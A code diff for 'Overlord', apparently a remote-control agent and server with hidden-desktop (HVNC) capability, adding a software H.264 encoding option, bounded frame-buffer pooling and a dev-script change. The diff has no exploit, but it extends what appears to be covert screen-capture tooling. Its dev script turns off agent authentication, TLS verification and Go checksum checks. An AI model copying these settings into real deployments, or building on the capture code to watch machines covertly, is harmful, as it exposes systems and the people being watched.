diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go
index a347639..8246566 100644
--- a/Overlord-Client/cmd/agent/capture/capture.go
+++ b/Overlord-Client/cmd/agent/capture/capture.go
@@ -494,10 +494,11 @@ var (
statBlockRegions atomic.Int64
statBlockFallbacks atomic.Int64
- overrideQuality atomic.Int64
- overrideCodec atomic.Value
- h264WarnOnce sync.Once
- codecLogOnce sync.Once
+ overrideQuality atomic.Int64
+ overrideCodec atomic.Value
+ desktopSoftwareH264 atomic.Bool
+ h264WarnOnce sync.Once
+ codecLogOnce sync.Once
prevMu sync.Mutex
prevFrame *prevImage
@@ -627,6 +628,19 @@ func RequestDesktopFullFrame() {
RequestDesktopH264Keyframe()
}
+func SetDesktopSoftwareH264(enabled bool) {
+ if desktopSoftwareH264.Swap(enabled) == enabled {
+ return
+ }
+ resetH264Encoder()
+ requestFullFrames(2)
+ log.Printf("capture: desktop software h264 %v", enabled)
+}
+
+func useDesktopSoftwareH264() bool {
+ return desktopSoftwareH264.Load()
+}
+
func RequestHVNCFullFrame() {
hvncPrevMu.Lock()
hvncPrevFrame = nil
diff --git a/Overlord-Client/cmd/agent/capture/h264_direct_windows.go b/Overlord-Client/cmd/agent/capture/h264_direct_windows.go
index 8703e27..e47e643 100644
--- a/Overlord-Client/cmd/agent/capture/h264_direct_windows.go
+++ b/Overlord-Client/cmd/agent/capture/h264_direct_windows.go
@@ -10,7 +10,7 @@ import (
)
func tryBuildDirectH264Frame(display int) (wire.Frame, time.Duration, time.Duration, bool, error) {
- if blockCodec() != "h264" || !useDesktopDuplication() {
+ if blockCodec() != "h264" || useDesktopSoftwareH264() || !useDesktopDuplication() {
return wire.Frame{}, 0, 0, false, nil
}
forceKeyframe := webrtcpub.ConsumeKeyframeRequest()
diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go b/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go
index fe86b7f..2986f84 100644
--- a/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go
+++ b/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go
@@ -547,6 +547,10 @@ func closeH264Encoder(slot *h264FrameEncoder) {
}
func newWindowsH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) {
+ if stream == "desktop" && useDesktopSoftwareH264() {
+ log.Printf("capture: desktop software h264 requested; skipping native NVENC and Media Foundation hardware encoders")
+ return newMFSoftwareH264Encoder(width, height, fps)
+ }
if enc, err := newNativeH264Encoder(stream, width, height, fps); err == nil {
return enc, nil
} else {
@@ -592,6 +596,21 @@ func newMFH264Encoder(width, height, fps int) (*mfH264Encoder, error) {
if fallbackErr != nil {
return nil, fallbackErr
}
+ return newMFH264EncoderFromSoftwareTransform(transform, fallbackHardware, fallbackProvider, width, height, fps)
+}
+
+func newMFSoftwareH264Encoder(width, height, fps int) (*mfH264Encoder, error) {
+ if err := ensureMFStartup(); err != nil {
+ return nil, err
+ }
+ transform, fallbackHardware, fallbackProvider, fallbackErr := createSoftwareH264Transform()
+ if fallbackErr != nil {
+ return nil, fallbackErr
+ }
+ return newMFH264EncoderFromSoftwareTransform(transform, fallbackHardware, fallbackProvider, width, height, fps)
+}
+
+func newMFH264EncoderFromSoftwareTransform(transform *mfTransform, fallbackHardware bool, fallbackProvider string, width, height, fps int) (*mfH264Encoder, error) {
enc := newMFH264EncoderFromTransform(transform, width, height, fps, fps, fallbackHardware, fallbackProvider, MFVideoFormat_NV12, "NV12")
if err := enc.configure(); err != nil {
enc.Close()
diff --git a/Overlord-Client/cmd/agent/capture/rgbapool.go b/Overlord-Client/cmd/agent/capture/rgbapool.go
index aafc553..8ec67e6 100644
--- a/Overlord-Client/cmd/agent/capture/rgbapool.go
+++ b/Overlord-Client/cmd/agent/capture/rgbapool.go
@@ -2,23 +2,38 @@ package capture
import (
"image"
- "sync"
+ "sync/atomic"
)
-var rgbaPool sync.Pool
+const (
+ maxPooledRGBABuffers = 8
+ maxPooledRGBABytes = 64 << 20
+ maxTotalRGBABytes = 192 << 20
+)
+
+var (
+ rgbaPool = make(chan []byte, maxPooledRGBABuffers)
+ pooledRGBABytes atomic.Int64
+)
func GetRGBA(w, h int) *image.RGBA {
need := w * h * 4
if need <= 0 {
return image.NewRGBA(image.Rect(0, 0, w, h))
}
- if v := rgbaPool.Get(); v != nil {
- if buf, ok := v.([]byte); ok && cap(buf) >= need {
- return &image.RGBA{
- Pix: buf[:need],
- Stride: w * 4,
- Rect: image.Rect(0, 0, w, h),
+ for attempts := len(rgbaPool); attempts > 0; attempts-- {
+ select {
+ case buf := <-rgbaPool:
+ pooledRGBABytes.Add(-int64(cap(buf)))
+ if cap(buf) >= need && cap(buf) <= maxReusableCapacity(need) {
+ return &image.RGBA{
+ Pix: buf[:need],
+ Stride: w * 4,
+ Rect: image.Rect(0, 0, w, h),
+ }
}
+ default:
+ attempts = 0
}
}
return image.NewRGBA(image.Rect(0, 0, w, h))
@@ -28,5 +43,34 @@ func PutRGBA(img *image.RGBA) {
if img == nil || len(img.Pix) == 0 {
return
}
- rgbaPool.Put(img.Pix)
+ buf := img.Pix
+ capacity := cap(buf)
+ if capacity <= 0 || capacity > maxPooledRGBABytes {
+ return
+ }
+ for {
+ cur := pooledRGBABytes.Load()
+ if cur+int64(capacity) > maxTotalRGBABytes {
+ return
+ }
+ if pooledRGBABytes.CompareAndSwap(cur, cur+int64(capacity)) {
+ break
+ }
+ }
+ select {
+ case rgbaPool <- buf:
+ default:
+ pooledRGBABytes.Add(-int64(capacity))
+ }
+}
+
+func maxReusableCapacity(need int) int {
+ limit := need * 2
+ if limit < need+(1<<20) {
+ limit = need + (1 << 20)
+ }
+ if limit > maxPooledRGBABytes {
+ limit = maxPooledRGBABytes
+ }
+ return limit
}
diff --git a/Overlord-Client/cmd/agent/capture/win_duplication.go b/Overlord-Client/cmd/agent/capture/win_duplication.go
index 2373465..ebd1c90 100644
--- a/Overlord-Client/cmd/agent/capture/win_duplication.go
+++ b/Overlord-Client/cmd/agent/capture/win_duplication.go
@@ -687,7 +687,9 @@ func (s *duplicationState) closeLocked() {
s.bounds = image.Rectangle{}
s.cursorBounds = image.Rectangle{}
s.display = -1
+ PutRGBA(s.lastBase)
s.lastBase = nil
+ PutRGBA(s.lastFrame)
s.lastFrame = nil
s.lastFrameAt = time.Time{}
s.cursorScratch = nil
@@ -807,11 +809,15 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
}
}
- // Cache an independent clone so the timeout path (which serves the cached
+ // Cache an independent copy so the timeout path (which serves the cached
// frame back to callers) doesn't alias a buffer the caller will return to
// the RGBA pool via PutRGBA.
- s.lastBase = cloneRGBA(img)
- img = s.composeFrame(img, width, height)
+ captured := img
+ s.copyLastBaseLocked(captured)
+ img = s.composeFrame(captured, width, height)
+ if img != captured {
+ PutRGBA(captured)
+ }
if img == s.cursorScratch {
// cursorScratch is reused across captures; clone before returning so
// the next compose doesn't write into a buffer the caller has pooled.
@@ -823,6 +829,26 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
return img, nil
}
+func (s *duplicationState) copyLastBaseLocked(src *image.RGBA) {
+ if src == nil {
+ PutRGBA(s.lastBase)
+ s.lastBase = nil
+ return
+ }
+ width := src.Rect.Dx()
+ height := src.Rect.Dy()
+ need := len(src.Pix)
+ if s.lastBase != nil && cap(s.lastBase.Pix) >= need && cap(s.lastBase.Pix) <= need*2 {
+ s.lastBase.Pix = s.lastBase.Pix[:need]
+ s.lastBase.Stride = width * 4
+ s.lastBase.Rect = image.Rect(0, 0, width, height)
+ copy(s.lastBase.Pix, src.Pix)
+ return
+ }
+ PutRGBA(s.lastBase)
+ s.lastBase = cloneRGBA(src)
+}
+
func (s *duplicationState) captureH264(display int, forceKeyframe bool) ([]byte, int, int, time.Duration, time.Duration, bool, error) {
capStart := time.Now()
s.mu.Lock()
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 4885daa..f4fc8d5 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -774,6 +774,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
codec := ""
+ softwareH264 := false
reason := ""
source := ""
if payload != nil {
@@ -783,6 +784,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["codec"].(string); ok {
codec = v
}
+ if v, ok := payload["softwareH264"].(bool); ok {
+ softwareH264 = v
+ }
if v, ok := payload["reason"].(string); ok {
reason = strings.TrimSpace(v)
}
@@ -790,11 +794,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
source = strings.TrimSpace(v)
}
}
+ softwareH264 = softwareH264 && strings.EqualFold(strings.TrimSpace(codec), "h264")
if source != "" || reason != "" {
- log.Printf("desktop: set quality=%d codec=%s source=%s reason=%s", quality, codec, source, reason)
+ log.Printf("desktop: set quality=%d codec=%s software_h264=%v source=%s reason=%s", quality, codec, softwareH264, source, reason)
} else {
- log.Printf("desktop: set quality=%d codec=%s", quality, codec)
+ log.Printf("desktop: set quality=%d codec=%s software_h264=%v", quality, codec, softwareH264)
}
+ capture.SetDesktopSoftwareH264(softwareH264)
capture.SetQualityAndCodec(quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil
diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js
index 2a4c061..759d4d3 100644
--- a/Overlord-Server/public/assets/remotedesktop.js
+++ b/Overlord-Server/public/assets/remotedesktop.js
@@ -70,6 +70,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
const qualitySlider = document.getElementById("qualitySlider");
const qualityValue = document.getElementById("qualityValue");
const codecH264 = document.getElementById("codecH264");
+ const softwareH264Ctrl = document.getElementById("softwareH264Ctrl");
const codecMode = document.getElementById("codecMode");
const canvas = document.getElementById("frameCanvas");
const canvasContainer = document.getElementById("canvasContainer");
@@ -403,6 +404,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard;
if (cursorCtrl && typeof settings.cursor === "boolean") cursorCtrl.checked = settings.cursor;
if (duplicationCtrl && typeof settings.duplication === "boolean") duplicationCtrl.checked = settings.duplication;
+ if (softwareH264Ctrl && typeof settings.softwareH264 === "boolean") softwareH264Ctrl.checked = settings.softwareH264;
if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
if (audioCtrl && typeof settings.audio === "boolean") audioCtrl.checked = settings.audio;
if (typeof settings.preferH264 === "boolean") {
@@ -423,6 +425,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
keyboard: !!kbdCtrl?.checked,
cursor: !!cursorCtrl?.checked,
duplication: !!duplicationCtrl?.checked,
+ softwareH264: !!softwareH264Ctrl?.checked,
clipboardSync: !!clipboardSyncCtrl?.checked,
audio: !!audioCtrl?.checked,
audioTransport: getAudioTransport(),
@@ -439,6 +442,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
codecH264.checked = prefersH264;
codecH264.disabled = typeof VideoDecoder !== "function";
}
+ if (softwareH264Ctrl) {
+ softwareH264Ctrl.disabled = !prefersH264;
+ }
function setCodecModeLabel(mode, detail) {
if (!codecMode) return;
@@ -1216,12 +1222,17 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
function pushQuality(val) {
const q = Number(val) || 90;
const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg");
- console.debug("rd: pushQuality val=", val, "q=", q, "codec=", codec);
+ const softwareH264 = codec === "h264" && useSoftwareH264();
+ console.debug("rd: pushQuality val=", val, "q=", q, "codec=", codec, "softwareH264=", softwareH264);
setCodecModeLabel(codec, "requested");
- if (codec === "h264") {
+ if (codec === "h264" && !softwareH264) {
ensureDuplicationForH264();
}
- sendCmd("desktop_set_quality", { quality: q, codec });
+ sendCmd("desktop_set_quality", { quality: q, codec, softwareH264 });
+ }
+
+ function useSoftwareH264() {
+ return !!softwareH264Ctrl?.checked && prefersH264;
}
function ensureDuplicationForH264() {
@@ -1236,7 +1247,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
codecH264.addEventListener("change", function () {
resetH264SessionState();
prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
- if (prefersH264) {
+ if (softwareH264Ctrl) {
+ softwareH264Ctrl.disabled = !prefersH264;
+ }
+ if (prefersH264 && !useSoftwareH264()) {
ensureDuplicationForH264();
}
if (!prefersH264) {
@@ -1249,6 +1263,15 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
sharedSettingsSaver.scheduleSave();
});
}
+ if (softwareH264Ctrl) {
+ softwareH264Ctrl.addEventListener("change", function () {
+ resetH264SessionState();
+ if (qualitySlider) {
+ pushQuality(qualitySlider.value);
+ }
+ sharedSettingsSaver.scheduleSave();
+ });
+ }
function pushResolution() {
if (resolutionSelect) {
@@ -1335,7 +1358,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (qualitySlider) {
pushQuality(qualitySlider.value);
}
- if (prefersH264) {
+ if (prefersH264 && !useSoftwareH264()) {
ensureDuplicationForH264();
}
pushTargetFps();
@@ -1588,6 +1611,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
prefersH264 = false;
destroyVideoDecoder();
if (codecH264) codecH264.checked = false;
+ if (softwareH264Ctrl) softwareH264Ctrl.disabled = true;
sharedSettingsSaver.scheduleSave();
console.warn("rd: falling back to jpeg codec", reasonText);
const q = Number(qualitySlider?.value) || 90;
@@ -1636,6 +1660,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
sendCmd("desktop_set_quality", {
quality: q,
codec: "h264",
+ softwareH264: useSoftwareH264(),
source: "rd_viewer",
reason: "h264_recovery_quality_push",
});
diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html
index 339350f..598aa7e 100644
--- a/Overlord-Server/public/remotedesktop.html
+++ b/Overlord-Server/public/remotedesktop.html
@@ -198,6 +198,9 @@
Codec: auto
+
diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts
index 2ceca17..8af43dd 100644
--- a/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts
+++ b/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts
@@ -132,6 +132,7 @@ describe("remote desktop viewer control", () => {
display: 0,
quality: 90,
codec: "h264",
+ softwareH264: false,
duplication: true,
maxHeight: 1080,
maxFps: 120,
diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts
index a28ad53..2c6b259 100644
--- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts
+++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts
@@ -177,6 +177,7 @@ export const rdStreamingState = new Map
case "desktop_set_quality": {
const newQuality = Number(payload.quality) || 90;
const newCodec = String(payload.codec || "").toLowerCase();
+ const newSoftwareH264 = newCodec === "h264" && !!(payload as any).softwareH264;
const reason = typeof payload.reason === "string"
? payload.reason.slice(0, 512)
: "";
const source = typeof payload.source === "string"
? payload.source.slice(0, 128)
: "";
- if (state.quality !== newQuality || state.codec !== newCodec) {
+ if (state.quality !== newQuality || state.codec !== newCodec || state.softwareH264 !== newSoftwareH264) {
sendDesktopCommand(target, "desktop_set_quality", {
quality: newQuality,
codec: newCodec,
+ softwareH264: newSoftwareH264,
...(reason ? { reason } : {}),
...(source ? { source } : {}),
});
state.quality = newQuality;
state.codec = newCodec;
+ state.softwareH264 = newSoftwareH264;
rdStreamingState.set(clientId, state);
- logger.debug(`[rd] set quality=${newQuality} codec=${newCodec || "(default)"}${source ? ` source=${source}` : ""}${reason ? ` reason=${reason}` : ""}`);
+ logger.debug(`[rd] set quality=${newQuality} codec=${newCodec || "(default)"} software_h264=${newSoftwareH264}${source ? ` source=${source}` : ""}${reason ? ` reason=${reason}` : ""}`);
}
break;
}
diff --git a/scripts/start-dev.bat b/scripts/start-dev.bat
index 746d2e8..09060cc 100644
--- a/scripts/start-dev.bat
+++ b/scripts/start-dev.bat
@@ -27,10 +27,11 @@ set PORT=5173
set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only
set OVERLORD_DISABLE_AGENT_AUTH=true
set LOG_LEVEL=debug
+set CGO_ENABLED=1
start "Overlord-Server" cmd /k "cd /d ""%ROOT%Overlord-Server"" && set OVERLORD_DISABLE_AGENT_AUTH=true && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set LOG_LEVEL=debug && set NODE_ENV=development && bun install && bun run start"
timeout /t 3 /nobreak >nul
-start "Overlord-Client" cmd /k "cd /d ""%ROOT%Overlord-Client"" && set OVERLORD_SERVER=wss://localhost:5173 && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set OVERLORD_TLS_INSECURE_SKIP_VERIFY=true && set OVERLORD_MODE=dev && set OVERLORD_CAPTURE_METRICS=true && set GOINSECURE=* && set GOSUMDB=off && set GOPROXY=https://proxy.golang.org,direct && go mod tidy && go run ./cmd/agent"
+start "Overlord-Client" cmd /k "cd /d ""%ROOT%Overlord-Client"" && set CGO_ENABLED=1 && set OVERLORD_SERVER=wss://localhost:5173 && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set OVERLORD_TLS_INSECURE_SKIP_VERIFY=true && set OVERLORD_MODE=dev && set OVERLORD_CAPTURE_METRICS=true && set GOINSECURE=* && set GOSUMDB=off && set GOPROXY=https://proxy.golang.org,direct && go mod tidy && go run ./cmd/agent"
echo Done. Terminals stay open (/k) for logs.
endlocal